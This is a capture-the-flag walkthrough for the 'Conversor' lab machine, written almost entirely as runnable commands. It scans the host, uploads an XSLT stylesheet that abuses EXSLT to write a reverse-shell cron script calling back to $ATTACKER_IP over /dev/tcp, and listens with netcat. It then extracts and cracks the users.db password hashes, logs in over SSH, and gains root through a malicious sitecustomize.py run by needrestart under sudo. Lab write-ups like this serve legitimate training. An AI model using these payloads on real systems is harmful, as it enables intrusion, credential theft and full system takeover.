Conversor

Full TCP sweep with version detection; reveals ports 22 and 80.

$ nmap -sC -sV -p- --min-rate 5000 -oA conversor $TARGET

Register the virtual host for name-based access.

$ echo "$TARGET conversor.htb" | sudo tee -a /etc/hosts

Confirm app is reachable and record the Server header.

$ curl -si http://conversor.htb/

Register an account; adjust field names to match the actual registration form.

$ curl -sc /tmp/conv.jar -X POST http://conversor.htb/register -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME@test.local" -L

Download and unpack the source archive while authenticated.

$ curl -sb /tmp/conv.jar http://conversor.htb/source_code.tar.gz -o /tmp/source_code.tar.gz && mkdir -p /tmp/src && tar -xzf /tmp/source_code.tar.gz -C /tmp/src/

Confirm EXSLT file-write support is enabled in the XSLT processing code.

$ grep -rn 'exsl\|exslt\|extension-element\|exsl:document' /tmp/src/

Replace $ATTACKER_IP with your tun0 address and the href with the cron script path identified from source review.

$ cat > /tmp/shell.xslt <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor/cron_jobs/run.sh" method="text">
      <xsl:text>#!/bin/bash&#xA;bash -i &gt;&amp; /dev/tcp/$ATTACKER_IP/4444 0&gt;&amp;1&#xA;</xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>
EOF

Start the listener before uploading; run in a separate terminal.

$ nc -lvnp 4444

Submit the malicious stylesheet; the processor writes the reverse-shell script to the target path.

$ curl -sb /tmp/conv.jar -X POST http://conversor.htb/convert -F 'file=@/tmp/shell.xslt;type=text/xml'

Run in the reverse shell to confirm execution context (uid=33 www-data) and target IP ($TARGET).

$ id; hostname; hostname -I

Search for the application's SQLite credential store from the www-data shell.

$ find / -name 'users.db' 2>/dev/null

Copy the database to /tmp for exfiltration; adjust path to the result found above.

$ cp /path/to/users.db /tmp/users.db && cat /tmp/users.db | xxd | head -20

List tables in the database; run locally after transferring users.db via base64 or a wget/curl pull.

$ sqlite3 users.db '.tables'

Dump all user rows; note any hash or plaintext password column for fismathack.

$ sqlite3 users.db 'SELECT * FROM users;'

Crack an MD5 hash if the password is not stored in plaintext; result: <withheld>.

$ hashcat -m 0 '<hash_value>' /usr/share/wordlists/rockyou.txt --force

Password: $PASSWORD — delivers an interactive SSH session as fismathack.

$ ssh fismathack@$TARGET

Read the user flag: <user.txt>

$ cat /home/fismathack/user.txt

Write the malicious Python module; it only fires the payload when loaded as root.

$ cat > /dev/shm/sitecustomize.py << 'PY'
import os
if os.geteuid() == 0:
    os.system('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod 4755 /tmp/rootbash')
PY

Trigger needrestart with PYTHONPATH set; adjust to whatever invocation fismathack can perform (sudo apt, a cron hook, etc.). Confirm rootbash appears with SUID bit (-rwsr-xr-x).

$ PYTHONPATH=/dev/shm sudo apt-get install -y --reinstall needrestart 2>/dev/null; ls -la /tmp/rootbash

Open a root-privileged shell; -p preserves the SUID effective UID.

$ /tmp/rootbash -p

Read the root flag: <root.txt>

$ cat /root/root.txt